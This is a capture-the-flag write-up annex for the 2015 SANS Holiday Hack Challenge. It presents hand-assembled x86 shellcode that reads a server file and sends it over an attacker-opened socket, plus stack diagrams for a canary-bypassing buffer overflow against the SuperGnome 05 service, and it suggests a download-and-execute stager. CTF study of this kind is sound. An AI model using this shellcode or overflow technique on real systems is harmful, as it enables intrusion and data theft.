A 2015 SANS Holiday Hack Challenge Journey : some additional payloads for SuperGnome 05
More complicated payloads !
This page is an annexe of A 2015 SANS Holiday Hack Challenge Journey.
As explained in the main story, once I had sent my reverse shellcode payload, I saw that I can't access to all server files and thank that it was a last trick
from Counterhack team (in fact I was accessing to my own computer like I forgot to witch servers addresses).
So in order to avoid to call /bin/sh
I start to write some asembly code to read a file and send it's content via the opened socket. I tried
the sys_sendfile
API, but it seemed
that it doesn't work. So I came back with a good old read
and write
.
Welcome back in the early times of writing assembly mnemonics on paper, assemble it manually with opcode tables and try to survive to the nightmare of computing your two complement codes without error...
...ok, in fact, I wrote mnemonics with Notepad++, assemble it with this wonderful online x86/x64 assembler and compute my two's complement codes with this handy calculator and a little help of Windows calc. Oh, in case you have to refresh your memories about short relative jumps, you can read this excellent source. May be it will be usefull.
So, here is the code (for example to read /gnome/www/files/gnome.conf
file) :
; ; Here we have the opening socket code which is not reproduced. Please refer ; to the main page for it. ; 89 d5 mov ebp,edx ; save socket file descriptor ; ------------------------ ; Open file ; fd = open ( "/gnome/www/files/gnome.conf", O_RDONLY ); ; 51 bytes 6a 05 push 5 58 pop eax ; syscall : open 68 6f 6e 66 00 push 00666E6Fh ; " fno" -> "onf\0" 68 6d 65 2e 63 push 632E656Dh ; "c.em" -> "me.c" 68 2f 67 6e 6f push 6F6E672Fh ; "ong/" -> "/gno" 68 69 6c 65 73 push 73656C69h ; "seli" -> "iles" 68 77 77 2f 66 push 662F7777h ; "f/ww" -> "ww/f 68 6d 65 2f 77 push 772F656Dh ; "w/em" -> "me/w 68 2f 67 6e 6f push 6F6E672Fh ; "ong/" -> "/gno" 89 e3 mov ebx,esp ; EBX refers filename 31 c9 xor ecx,ecx ; O_RDONLY 31 d2 xor edx,edx ; no cd 80 int 80h ; kernel call 89 c7 mov edi,eax ; edi = file descriptor 83 c4 1c add esp,0x1C ; clean the stack ; ------------------------ ; Read file. We can ask to read a lot of bytes, read() will stop at ; the end of the file. ; c = read ( fd, buffer, 0x20000 ) ; 20 bytes 6a 03 push 3 58 pop eax ; read function 89 fb mov ebx,edi ; file descriptor 81 ec 50 01 00 00 sub esp,20000h ; create a buffer in the stack 89 e1 mov ecx,esp ba 50 01 00 00 mov edx,20000h ; cd 80 int 80h ; kernel call ; ------------------------ ; Send to socket ; write ( fdSocket, buffer, c ) ; 17 bytes 89 c2 mov edx,eax ; EDX = number of bytes to write 6a 04 push 4 58 pop eax ; write function 89 eb mov ebx,ebp 89 e1 mov ecx,esp cd 80 int 80h 81 c4 50 01 00 00 add esp,20000h ; clean the stack
It's quick and dirty : no error control, no cleanup at the end... not to use at school. But it probably works.
There is a single problem : we have 84 bytes for our code where ESP refers, and this code is much longer. We can try to optimize it, again like at the time we played with the famous zx81 (one kb of ram, think of it !). But it probably won't be enough. So it will be a better idea to use the extra 100 bytes offered by the buffer before the stack frame and organize our payload as follows :
(lower memory addresses) Normal stack configuration After our buffer overflow +-------------------------------------+ +-------------------------------------+ | Space for the temporary variables | | | | created by the compiler to call | | Will be used for our variables and | | functions from sgstatd() | | memory buffers | | | | | +-------------------------------------+ +-------------------------------------+ <-- 0 | char bin[100] local variable | | part_two: | | | | second part of our code | | 100 (or 0x64) bytes long | | + end of file opening | | | | + file reading | +-------------------------------------+ | + send buffer through socket | | ??? 4 bytes lost ??? | | | +-------------------------------------+ +-------------------------------------+ <-- +104 | Canary = 0xE4FFFFE4 | | Canary = 0xE4FFFFE4 | +-------------------------------------+ +-------------------------------------+ | EBP saved on sgstatd() entry | | Unused junk value | +-------------------------------------+ +-------------------------------------+ <-- +112 | Return address = 0x080492F4 | | Return address = 0x0804936B | +-------------------------------------+ +-------------------------------------+ <-- +116 | fd parameter of sgstatd() function | | 84 bytes available | +-------------------------------------+ | First part of our code | | Other values store in stack | | jmp code | | | | go_back: | | | | jmp part_two | | | | code: | | | | + creating and opening socket | | | | + file opening (part 1) | | | | jmp go_back | | | +-------------------------------------+ <-- +200 (higher memory addresses)
We have to jump from the end of the first part of our payload to the start of the second part with two hops because we don't know the stack location and choose to use relative jumps, which are limited to 127 bytes backward.
This worked... until the stack smashed the second part of the code !
Remember where ESP refers ? Yes, at the begining of our first part of code... So when our code executes, the stack growths toward the low memory addresses and smashs our code :
(lower memory addresses) While executing our payload +-------------------------------------+ | | | Will be used for our variables and | | memory buffers | | | +-------------------------------------+ <-- 0 | part_two: | | second part of our code | | + end of file opening | | + file reading | | + send buffer^through socket | + | + <-- +104 | Stack growing toward | + lower addresses + | will smash code ! | + | + <-- +112 | | | +-------------------------------------+ <-- +116 <-- ESP just before our code execution | 84 bytes available | | First part of our code | | jmp code | | go_back: | | jmp part_two | | code: | | + creating and opening socket | | + file opening (part 1) | | jmp go_back | +-------------------------------------+ <-- +200 (higher memory addresses)
We have to move ESP
to a safer zone :
(lower memory addresses) Final organization of our payload +-------------------------------------+ | | | Will be used for our variables and | | memory buffers in the stack | | | +-------------------------------------+ <-- 0 <-- ESP after we modify it | part_two: | | second part of our code | | + end of file opening | | + file reading | | + send buffer through socket | | | +-------------------------------------+ <-- +104 | Canary = 0xE4FFFFE4 | +-------------------------------------+ | Unused junk value | +-------------------------------------+ <-- +112 | Return address = 0x0804936B | +-------------------------------------+ <-- +116 <-- ESP at the just before our code execution | 84 bytes available | | First part of our code | | sub esp,120 | | jmp code | | go_back: | | jmp part_two | | code: | | + creating and opening socket | | + file opening (part 1) | | jmp go_back | +-------------------------------------+ <-- +200 (higher memory addresses)
Ok, now it works fine. You can check it with this payload
If we have to execute a more complicated piece of code, we could replace the opening reading and sending gnome.conf file by a piece of code which download the real piece to execute. In this manner, we won't be limited by our 200 bytes buffer. I let you this as an exercise ;-) !